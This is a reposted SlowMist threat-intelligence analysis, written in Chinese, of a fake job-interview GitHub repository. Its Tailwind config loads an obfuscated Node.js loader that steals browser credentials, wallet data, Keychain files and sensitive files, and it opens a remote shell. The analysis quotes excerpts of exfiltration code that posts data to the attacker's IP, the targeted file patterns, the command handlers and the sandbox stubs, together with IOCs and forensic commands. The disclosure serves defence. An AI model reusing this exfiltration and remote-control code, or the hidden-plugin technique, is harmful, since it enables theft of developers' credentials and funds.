社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Git

威胁情报|伪装招聘的 GitHub 投毒分析

慢雾科技 • 2 周前 • 56 次点击  

背景


近日,MistEye 监测到一起以招聘为诱饵、专门针对开发者的恶意代码投递活动。攻击者先通过 LinkedIn 联系开发者,冒充 Web3 项目的招聘方。在沟通工作经历和面试安排后,对方向目标发来一个 GitHub 仓库,称其中是面试前需要体验的 MVP。


聊天记录显示,攻击者先询问目标的工作经历和产品经验,并讨论后续面试安排。之后,对方称需要提前体验产品,才能在面试中讨论具体问题,并借此要求目标运行仓库中的项目。


这套流程与真实的技术面试很接近。对开发者来说,拉取代码、安装依赖和启动项目本来就是常规操作,因此不容易在第一时间察觉异常。


(攻击者通过招聘私信发送 GitHub 仓库,并诱导目标在面试前运行 MVP)


该账号将自己描述为 Web3 投资和商务从业者,历史动态也一直在发布项目投资、产品建设等内容。因此,当对方发来 GitHub 仓库时,目标更容易把它当成正常的项目资料,而不是一次恶意投递。


(相关账号页面被包装成 Web3 投资与商务背景)


慢雾安全团队获取仓库后,对项目代码和启动流程进行了检查。


检查项目配置时,我们注意到一个可疑的 JavaScript 文件,它被当作 Tailwind 插件加载:


theme/js/auron-core.min.js


该文件被写入 Tailwind 配置文件中。只要目标按照项目说明执行开发或构建命令,Node.js 就会通过 require() 加载并执行该文件。


theme/js/auron-core.min.js 并非正常的前端组件或 Tailwind 插件。其代码经过重度混淆,实际是恶意程序的第一阶段加载器。


该加载器会启动多个隐藏的 Node.js 子进程,并向其中写入三段第二阶段脚本。这些脚本分别负责窃取浏览器和钱包数据、搜索并上传本地文件,以及建立远程控制通道。


与假空投页面、恶意文档或诱导执行终端命令不同,这次攻击把恶意代码直接藏进了一个看似正常的开发项目。风险真正发生在本地,目标拉取仓库并启动项目时,恶意代码才会被执行。


MistEye 响应


MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控系统,集成了安全监控与情报聚合能力,为用户提供实时的风险预警与资产守护。


MistEye 已第一时间通过情报推送与客户告警通道同步风险。



木马分析


本节围绕仓库中的 theme/js/auron-core.min.js 展开。分析重点包括触发路径、运行环境、第一阶段加载器行为、第二阶段 Payload 职责、C2 通信、命令协议、IOC 以及取证排查方法。


1. 样本基础信息与触发方式


分析对象为 theme/js/auron-core.min.js。


项目

文件路径

theme/js/auron-core.min.js

文件大小

4069335 字节

SHA-256

78315f36bfe3ac62ec1a69a281be64c0db3614250a7851708813b0739a07842f

初步判断

体积明显偏离普通主题插件,但仍需结合加载路径和行为确认。


该文件超过 4 MB,远大于一般的 Tailwind 主题插件。不过,文件体积异常只能说明它值得检查,还不能据此认定为恶意文件。接下来需要确认,项目运行时是否会加载这个文件。


tailwind.config.ts 中把它写成了插件:


require("./theme/js/auron-core.min.js");


这意味着它不是浏览器里加载的静态资源,而是会在 Tailwind 构建时被 Node.js 直接运行。开发者只要按照项目说明启动项目或构建 CSS,就会触发其中的恶意代码。


2. Node.js 侧伪装插件


继续查看文件开头:





    
sed -n '1,6p' theme/js/auron-core.min.js


关键片段摘录如下:


module.exports = ({ addBase }) => {  if (process.env.NODE_ENV === "development") {    // 混淆后的恶意代码  }};


从文件开头可以看出,这是一段 Node.js 模块代码,并非常见的浏览器 Bundle:


结合代码结构可以确认:


  • 样本运行在 Node.js 环境中,不是在浏览器中执行。

  • 代码在 NODE_ENV === "development" 时进入混淆 Payload。

  • 外层被包装成 Tailwind/PostCSS 插件,恶意逻辑隐藏在插件函数内部。


第一阶段代码混淆严重,直接静态阅读效率较低。因此,分析时将样本放入受控环境,并替换联网、命令执行和文件访问等高风险接口,重点截获其写入子进程的第二阶段脚本。后续分析直接针对这些解出的脚本展开。


3. 受控环境下提取第二阶段 Payload


为避免样本真实联网或执行命令,分析时通过 Node.js vm 加载样本,并伪造了它依赖的网络、进程和文件系统接口。


  • child_process:不真正执行命令,只记录 execSync、spawn 参数,并截获 spawn.stdin.end(...) 写入的脚本文本。

  • axios、http、https:不真实出网,只记录 URL、请求体和头部。

  • socket.io-client:不建立真实 Socket 连接,只记录注册事件。

  • fs、os、process:提供受控返回值,让样本继续执行,同时避免访问真实环境。

  • setTimeout、setInterval:记录定时器并主动触发一轮,以暴露后续行为。


受控分析脚本 tests/malware_sandbox.js 的执行结果如下:


node tests/malware_sandbox.js


关键片段摘录如下:


{  "outputPath": "/Users/test/Downloads/governance-staking-build-develop/tests/malware_sandbox_output.json",  "eventCount": 49}


运行完成后生成事件日志 tests/malware_sandbox_output.json,并在 tests/malware_payloads 目录下保存样本释放出的第二阶段脚本。


ls -l tests/malware_payloadssed -n '1,220p' tests/malware_sandbox_output.json


其中 ls -l tests/malware_payloads 的实际输出如下:


total 328-rw-r--r--  1 test  staff  35087 Jul 17 10:44 payload-1.js-rw-r--r--  1 test  staff  30758 Jul 17 10:44 payload-2.js-rw-r--r--  1 test  staff  95925 Jul 17 10:44 payload-3.js


本次提取出的三个文件分别为 payload-1.js、payload-2.js、payload-3.js。至此,第一层混淆样本已经被拆分为三个可直接阅读的第二阶段脚本,后续分析围绕这三个文件展开。


3.1 受控分析脚本关键设计


下面列出受控分析脚本中的几个关键片段,用于说明样本释放脚本和网络行为是如何被记录的。


首先,脚本读取目标样本并准备事件收集器。child_process 被替换成记录型 stub。最关键的位置是 spawn.stdin.end(chunk):样本向隐藏子进程写入的脚本文本,会在这里被保存下来。


functioncreateChildProcessStub() {  return {    execSync() {      return"stub-output";    },
    spawn() {      return {        stdin: {          end(chunk) {            spawnedScripts.push(String(chunk));          },        },
        unref() {},      };    },  };}


Stub 不会真正发送网络请求,只记录 URL、请求头和请求体,并返回一个模拟的成功响应,保证样本继续运行。


axios.post = async (...args) => {  networkRequests.push(args);  return { status: 200 };};


样本运行在单独构造的  vm 上下文中,无法直接访问分析机真实的 process、网络模块和文件系统接口。


const context = {  module: { exports: {} },  require: sandboxRequire,  process: processStub,  console,  Buffer,  setTimeout: timerStub,  setInterval: timerStub,};
context.global = context;context.globalThis = context;


主流程负责执行样本、触发定时器,并将第二阶段脚本与事件日志落盘:


new vm.Script(source).runInNewContext(  context,  { timeout5000 });
await drainTimers();savePayloads(spawnedScripts);


该脚本保留样本的主要执行流程,但将联网、命令执行等接口替换为记录型 Stub。这样既能阻止真实危害,也能保存第二阶段脚本、网络目标和关键调用参数。


4. 第一阶段加载器行为


tests/malware_sandbox_output.json 记录了第一阶段样本的主要行为:


1.向 http://172.86.126.76:8087/api/log 上报启动日志。

2.创建多个 Node.js 子进程,并加载不同功能模块。

3.为每个子进程写入对应锁文件,避免重复启动。


提取关键日志的命令如下:


rg -n 'api/log|Spawning|pid\.1\.[123]\.lock|spawn\.stdin\.end' tests/malware_sandbox_output.json


关键片段摘录如下:


C2:172.86.126.76:8087
启动模块:ldbScriptautoUploadScriptsocketScript
锁文件:/tmp/pid.1.1.lock/tmp/pid.1.2.lock/tmp/pid.1.3.lock


日志显示实际 C2 地址是 172.86.126.76,auron-core.min.js 本身是一个 Stage 0 加载器,不直接完成所有恶意操作,而是负责启动三个功能不同的第二阶段脚本。


如果主机中上述锁文件,说明该加载器很可能已经执行。


5. payload-1.js:浏览器与钱包数据窃取


payload-1.js 主要针对用户浏览器环境和系统凭据存储位置进行数据收集,目标包括浏览器保存的登录信息、钱包扩展数据以及 macOS Keychain 文件。


浏览器与钱包数据收集


进一步分析 payload-1.js 中的数据收集逻辑时,发现样本包含多个与浏览器数据库和凭据存储相关的关键词。以下关键词直接暴露了它的窃取目标:


rg -n 'Login Data|Web Data|Local Extension 


    
Settings|Keychains|wallet|sql\\.js|8085/upload|validationSecret' tests/malware_payloads/payload-1.js


检索结果如下:


const browserFiles = [  "Login Data",  "Login Data For Account",  "Web Data",];
const walletPath =  "Local Extension Settings";
const keychainPath =  "~/Library/Keychains/login.keychain-db";
const uploadUrl =  "http://172.86.126.76:8085/upload";


相关行为包括:


  • 读取 Chromium 系浏览器相关数据文件,包括 Login Data、Login Data For Account 以及 Web Data。

  • 遍历 Local Extension Settings 目录,收集浏览器扩展存储数据,并针对钱包类扩展(如 bravewallet)进行处理。

  • 在 macOS 上尝试抓取 ~/Library/Keychains/login.keychain-db。

  • 将收集到的文件上传至 http://172.86.126.76:8085/upload。


数据上传机制


在完成数据收集后,样本会将整理后的数据上传至远程服务器。相关上传逻辑位于 payload-1.js 第 757 行附近。定位命令如下:


nl -ba tests/malware_payloads/payload-1.js | sed -n '750,790p'


关键代码实际输出如下:





    
await axios.post("http://172.86.126.76:8085/upload",  form,  {headers: {userkey: 103,hostname: os.hostname(),      timestamp,"file-metadata": fileMetadataStr,validation: validationToken,    },  });


从代码可以确认,样本通过 HTTP POST 请求将收集的数据上传至远程服务器,相关上传逻辑包含固定的校验密钥、上传地址以及请求头字段:


  • validationSecret = "SuperStr0ngSecret@)@^"

  • axios.post("http://172.86.126.76:8085/upload", form, ...)

  • 请求头字段包含 userkey: 103、hostname、timestamp、file-metadata、t: 1、validation。


进一步分析发现,样本在上传前会创建临时目录,并对收集的数据进行整理:


rg -n '\\.upload_|login\\.keychain-db|Login Data|Web Data|Local Extension Settings' tests/malware_payloads/payload-1.js


从这些代码可以看出,该模块主要实现了浏览器凭据、钱包扩展数据以及系统钥匙串数据的收集功能。样本会读取 Chromium 系浏览器中的登录数据库、浏览器扩展存储数据,并在 macOS 环境下尝试获取用户 Keychain 文件。其中可能包含用户账号信息、浏览器保存的密码、钱包扩展相关数据以及系统保存的敏感凭据。一旦相关数据被收集并外传,攻击者可能进一步访问用户在线服务、数字资产钱包或其他关联资源。


6. payload-2.js:敏感文件收集与上传


与前一个模块主要针对浏览器数据不同,payload-2.js 主要负责扫描本地文件系统,并根据内置规则识别可能包含敏感信息的文件,随后将匹配文件上传至远程服务器。进一步分析 payload-2.js 中的文件扫描逻辑时,发现样本定义了 SENSITIVE_FILE_PATTERNS 等规则,用于匹配敏感文件路径和文件名称。


检索命令如下:

rg -n 'SENSITIVE_FILE_PATTERNS|EXCLUDED_PATH_PATTERNS|8086/upload|api_key|seed|wallet|id_rsa|\\.env' tests/malware_payloads/payload-2.js


从代码中可见的部分目标关键词包括:


const sensitivePatterns = [  ".env",  "wallet",  "seed",  "mnemonic",  "id_rsa",  "pem",  "p12",  "api_key",  "credentials",  "password",  ".docx",  ".pdf",  ".xlsx",];


需要特别注意,敏感关键词规则并不适用于所有扫描路径。代码显示,在 Desktop、Documents、Downloads 等优先目录扫描阶段,样本并不强制要求文件路径命中 SENSITIVE_FILE_PATTERNS;而在后续扫描其他目录时,才使用 isSensitiveFile(fullPath) 进行关键词过滤。因此,在这些优先目录中,任何未命中扩展名排除规则、可读取且不超过 5 MB 的文件都可能被上传,并不要求文件名包含 .env、seed、wallet 或 password 等敏感关键词。


敏感文件上传机制


在完成目标文件筛选后,样本会进一步执行文件上传操作。相关逻辑位于 payload-2.js 第 131 行附近。


定位命令如下:


nl -ba tests/malware_payloads/payload-2.js | sed -n '128,160p'


键代码实际输出如下:


await axios.post(  "http://172.86.126.76:8086/upload",  form);


从代码可以确认:


  • 上传地址为 http[://]172[.]86[.]126[.]76[:]8086/upload。

  • HMAC 密钥仍为 SuperStr0ngSecret@)@^。

  • validation 的计算方式为 filePath + "|" + timestamp。


由此可以看出,该模块的收集目标并不局限于浏览器数据,而是进一步扩展到开发者本地环境中的高价值文件。开发环境中通常保存大量敏感配置和访问凭据,例如 `.env` 文件、SSH 私钥、云平台访问密钥、CI/CD Token、项目配置文件以及业务文档等。一旦相关数据被收集并外传,可能进一步导致代码仓库、云资源或第三方服务凭据泄露。


7. payload-3.js:远程控制、文件管理与交互式 Shell


payload-3.js 主要负责与 C2 服务通信,并提供远程主机管理功能。该模块通过 Socket.IO 与远程服务器建立连接,支持主机注册、日志上报、远程命令执行、目录浏览、文件读取、文件上传以及交互式 Shell 会话。


首先分析样本中的 C2 配置和通信入口:


nl -ba tests/malware_payloads/payload-3.js | sed -n '56,95p'


关键片段摘录如下:


const C2 = {  notify:    "http://172.86.126.76:8087/api/notify",
  log:    "http://172.86.126.76:8087/api/log",
  socket:    "ws://172.86.126.76:8087",};
const hostInfo = {  host: os.hostname(),  os:    os.type() +    " " +    os.release(),  username:    os.userInfo().username,};
await axios.post(   C2.notify,  hostInfo);


从该片段可以明确看到以下网络目标:


  • http[://]172[.]86[.]126[.]76[:]8087/api/notify

  • http[://]172[.]86[.]126[.]76[:]8087/api/log

  • ws[://]172[.]86[.]126[.]76[:]8087


结合前面对 payload-1.js 和 payload-2.js 的分析,可以发现该样本根据不同功能划分了多个通信接口:


端口

用途

8087

控制通道、日志通道、主机上线注册和 WebSocket 连接。

8085

浏览器、钱包相关数据上传通道。

8086

敏感文件上传通道。


7.1 主机注册与日志上报


payload-3.js 中存在 sendHostInfo() 和 f_s_l(message, level, data) 两个基础函数。前者负责向 /api/notify 上报主机信息,后者负责向 /api/log 上报日志或内容。


rg -n 'sendHostInfo|f_s_l|validationSecret|api/notify|api/log' tests/malware_payloads/payload-3.js


7.2 Socket 远程控制指令


样本连上 ws://172.86.126.76:8087 后,会注册命令处理事件。命令主干如下:


nl -ba tests/malware_payloads/payload-3.js | sed -n '1237,1405p'


关键片段摘录如下:


socket.on("command", (msg) => {  const {    command,    code,    path: filePath,  } = msg;
  if (code === "102") {    return listDirectory(filePath);  }
  if (code === "107") {    return readFile(filePath);  }
  if (code === "108") {    return uploadFiles(filePath);  }
  exec(command);});


从代码中的 code 分支来看,支持这些远程指令:


  • code === "102":列目录,并将目录内容以 JSON 形式回传。

  • code === "108":上传指定目录下一层文件。

  • code === "107":读取指定文件,必要时上传并回传 fileUrl。

  • 其他情况:直接通过 exec(command) 执行系统命令。


用于快速抽取事件和协议字段的命令如下:


rg -n 'socket\\.on\\(|socket\\.emit\\(|code === \"102\"|code === \"107\"|code === \"108\"|exec\\(' tests/malware_payloads/payload-3.js


7.3 交互式 Shell


除单次命令执行外,payload-3.js 还实现了持续性的交互式 Shell 功能。


定位命令如下:


nl -ba tests/malware_payloads/payload-3.js | sed -n '2177,2317p'


关键片段摘录如下:


socket.on("shellOpen", ...);socket.on("shellInput", ...);socket.on("shellResize", ...);socket.on("shellClose", ...);socket.on("shellDetach", ...);


该模块通过 Socket.IO 事件维护远程 Shell 会话。模块处理的事件包括:


// 控制端下发socket.on("shellOpen", ...);socket.on("shellInput", ...);socket.on("shellResize", ...);socket.on("shellClose", ...);


    

// 受害主机回传socket.emit("shellReady", ...);socket.emit("shellOutput", ...);socket.emit("shellExit", ...);socket.emit("shellError", ...);


这些事件覆盖了 Shell 创建、输入、窗口调整、输出回传和会话关闭,足以支持完整的远程终端交互。攻击者建立连接后,可以直接浏览目录、执行命令和读取文件。若主机中保存了其他系统凭据,这些信息还可能被用于后续入侵。


7.4 剪贴板监听


payload-3.js 还实现了跨平台剪贴板监听功能,用于持续获取用户剪贴板内容。


定位命令如下:





    
rg -n 'clipboard|pbpaste|xclip|xsel|watchClipboard' tests/malware_payloads/payload-3.jssed -n '2357,2445p' tests/malware_payloads/payload-3.js


从代码可以确认,该模块具备持续读取并上报用户剪贴板内容的能力。由于开发者日常操作中可能临时复制密码、访问 Token、私钥、服务器命令或其他敏感信息,因此该功能可能导致用户短时间内复制的数据被收集并泄露。


8. 攻击链复盘


步骤

阶段

说明

1

社工接触

攻击者通过 LinkedIn 等平台伪装成招聘方或项目方,与目标建立沟通。

2

仓库投递

以面试前体验 MVP 为由发送 GitHub 仓库,要求目标拉取并运行项目。

3

构建触发

theme/js/auron-core.min.js 被写入 tailwind.config.ts,通过 require() 在 Node.js 环境执行。

4

第一阶段加载

auron-core.min.js 作为 stage0 loader,上报日志、写锁文件并启动隐藏子进程。

5

Payload 释放

样本释放 payload-1.js、payload-2.js、payload-3.js 三个第二阶段脚本。

6

数据窃取

payload-1.js 采集浏览器、钱包扩展、Keychain 等数据。

7

敏感文件搜集

payload-2.js 搜索 .env、私钥、API Key、文档等敏感文件并上传。

8

远控维持

payload-3.js 建立 WebSocket 通道,提供命令执行、文件浏览、交互式 Shell 和剪贴板监听。


9. IOC


投递仓库

hxxps://github[.]com/borismelnik1982-netizen/governance-staking-build


恶意文件

theme/js/auron-core.min.js

SHA-256

78315f36bfe3ac62ec1a69a281be64c0db3614250a7851708813b0739a07842f


URL

hxxp://172[.]86[.]126[.]76:8087/api/notify

hxxp://172[.]86[.]126[.]76:8087/api/log

ws://172[.]86[.]126[.]76:8087

hxxp://172[.]86[.]126[.]76:8085/upload

hxxp://172[.]86[.]126[.]76:8086/upload

hxxp://172[.]86[.]126[.]76:8085/api/upload-file


IP

172[.]86[.]126[.]76


10. 取证排查建议


如果确认运行过该项目,不要急着删文件或杀进程。建议先记录进程、网络连接、文件时间戳和落地文件,再做清理和凭据轮换。由于开发机通常保存 SSH 私钥、云凭据、浏览器登录态和钱包数据,处置时应默认这些凭据已经存在泄露风险,并尽快完成轮换和会话失效。


10.1 网络和进程排查


macOS / Linux:


lsof -nP -iTCP -sTCP:ESTABLISHED | rg '172\\.86\\.126\\.76:(8085|8086|8087)'ps aux | rg 'node|socket.io-client|sql.js|remote-shell|auron-core|payload-'


Windows PowerShell:


Get-NetTCPConnection | Where-Object { $_.RemoteAddress -eq '172.86.126.76' -and $_.RemotePort -in 8085,8086,8087 }Get-CimInstance Win32_Process | Where-Object { $_.Name -match 'node|powershell|cmd' } | Select-Object ProcessId,Name,CommandLin


10.2 落地文件排查


macOS / Linux:


find /tmp -maxdepth 2 \( -name "pid.1.1.lock" -o -name "pid.1.2.lock" -o -name "pid.1.3.lock" -o -name "upload_*" -o -name "remote-shell-*" \) -


10.3 高风险数据范围排查


find "$HOME" -type f \( -name '.env' -o -name '.env.*' -o -name 'Login Data' -o -name 'Web Data' \) -mtime -2


排查时,应确认以下文件和数据是否被读取或上传:


  • .env 和 .env.*

  • SSH 私钥、云凭证、CI Token

  • 浏览器保存的密码和 Cookie

  • 钱包扩展与种子词备份

  • 剪贴板中曾复制过的敏感信息


总结


这次攻击不是孤例。近期多起事件显示,攻击者正频繁利用招聘、代码评审、项目合作等场景,诱导开发者主动运行恶意仓库。


theme/js/auron-core.min.js 被伪装成 Tailwind/PostCSS 插件,并通过项目构建流程在 Node.js 中执行。随后,加载器启动三个脚本,完成凭据窃取、文件上传和远程控制。


样本可以在当前用户权限下执行系统命令,并支持目录浏览、文件读写、剪贴板窃取和交互式终端控制。


它已经不是普通的信息收集脚本,而是一套完整的远控木马。如果受感染设备用于开发或管理 Web3 资产,攻击者可能窃取项目密钥、云凭据、CI/CD Token、浏览器会话和钱包扩展数据。判断一个仓库是否安全,不能只看页面、提交记录和项目界面。更重要的是检查安装依赖和启动项目时,究竟会执行哪些脚本和配置文件。对通过面试、兼职、外包、空投或投资沟通收到的陌生仓库,不要直接在办公机或日常开发环境中安装依赖、执行构建命令。应先在虚拟机或容器中检查 package scripts、构建配置、各类插件、preinstall / postinstall 脚本,以及体积异常的 JavaScript 文件。


如果已经运行过该项目,应立即隔离主机,并保留进程、网络连接和 /tmp 落地文件等证据。随后需要轮换 SSH 密钥、云凭据和 CI/CD Token,退出浏览器与交易平台会话。若钱包私钥或助记词可能泄露,应尽快将资产转移到新的安全钱包,并撤销旧地址的相关授权。


关于 MistEye


MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台,通过 API 提供开源包生态的恶意活动检测与供应链风险预警能力。


本次行动涉及的全部恶意包及 IOC 已接入 MistEye 威胁检测引擎,开发者可通过 API 对项目依赖进行自动化检测,快速判定是否命中已知恶意包并获取处置建议。


📖 API 文档:https://app.misteye.io/api-docs


🛠️ MistEye-DepScan:https://github.com/slowmist/MistEye-DepScan  轻量级 CLI 工具,一行命令扫描项目依赖与全局安装包中的已知恶意包,支持 npm / PyPI / Cargo / Go / RubyGems 生态


🛠️ MistEye-Skills:https://github.com/slowmist/misteye-skills  AI 编码助手安全技能包,在依赖安装与 URL 访问前自动触发 MistEye 安全检测

往期回顾

Grok CLI 风险分析:一个 prompt 如何把敏感文件送上云端?

数码港 Web4.0 与智能体安全联盟成立,慢雾(SlowMist) 出任创始成员

TG 账号失守、钱包被调包,macOS 木马如何突破防线?

威胁情报 | Injective SDK 投毒,加密钱包私钥失窃

Google Sites 社群申请钓鱼与 macOS 窃密木马分析

慢雾导航


慢雾科技官网

https://www.slowmist.com/


慢雾区官网

https://slowmist.io/


慢雾 GitHub

https://github.com/slowmist


Telegram

https://t.me/slowmistteam


Twitter

https://twitter.com/@slowmist_team


Medium

https://medium.com/@slowmist


知识星球

https://t.zsxq.com/Q3zNvvF

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/198956